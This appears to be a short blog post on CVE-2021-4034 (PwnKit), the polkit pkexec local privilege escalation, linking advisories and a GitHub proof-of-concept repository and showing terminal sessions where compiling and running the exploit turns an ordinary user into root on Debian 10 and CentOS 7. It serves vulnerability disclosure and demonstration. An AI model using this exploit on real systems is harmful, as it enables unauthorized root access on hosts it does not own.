CVE-2021-4034: The new vulnerability everyone has been talking about - PoC 🙄

codewithyaku

CodeWithYaku

Posted on January 28, 2022

CVE-2021-4034: The new vulnerability everyone has been talking about - PoC 🙄

CVE-2021-4034

While the vulnerability is not exploitable remotely and doesn’t, in itself, allow arbitrary code execution, it can be used by attackers that have already gained a foothold on a vulnerable host to escalate their privileges and achieve that capability.

https://seclists.org/oss-sec/2022/q1/80https://blog.qualys.com/vulnerabilities-threat-research/2022/01/25/pwnkit-local-privilege-escalation-vulnerability-discovered-in-polkits-pkexec-cve-2021-4034

PoC

Verified on Debian 10 and CentOS 7.

You can find the repo at this link here → https://github.com/Yakumwamba/POC-CVE-2021-4034.git

yaku@debian:~$ grep PRETTY /etc/os-release
PRETTY_NAME="Debian GNU/Linux 10 (buster)"
yaku@debian:~$ id
uid=1000(user) gid=1000(yaku) groups=1000(user),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),109(netdev)
yaku@debian:~$ gcc cve-2021-4034-poc.c -o cve-2021-4034-poc
yaku@debian:~$ ./cve-2021-4034-poc
# id
uid=0(root) gid=0(root) groups=0(root),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),109(netdev),1000(yaku)
Enter fullscreen mode Exit fullscreen mode
[yaku@centos ~]$ grep PRETTY /etc/os-release
PRETTY_NAME="CentOS Linux 7 (Core)"
[yaku@centos ~]$ id
uid=11000(yaku) gid=11000(yaku) groups=11000(user) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
[yaku@centos ~]$ gcc cve-2021-4034-poc.c -o cve-2021-4034-poc
[yaku@centos ~]$ ./cve-2021-4034-poc
sh-4.2# id
uid=0(root) gid=0(root) groups=0(root),11000(user) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
sh-4.2# exit
Enter fullscreen mode Exit fullscreen mode

What is polkit?

Polkit is a daemon that manages system processes and policies. It is used by system administrators to control which users and applications can have access to certain system resources.

*whoami? *
YAkU

💖 💪 🙅 🚩
codewithyaku
CodeWithYaku

Posted on January 28, 2022

Join Our Newsletter. No Spam, Only the good stuff.

Sign up to receive the latest update from our blog.

Related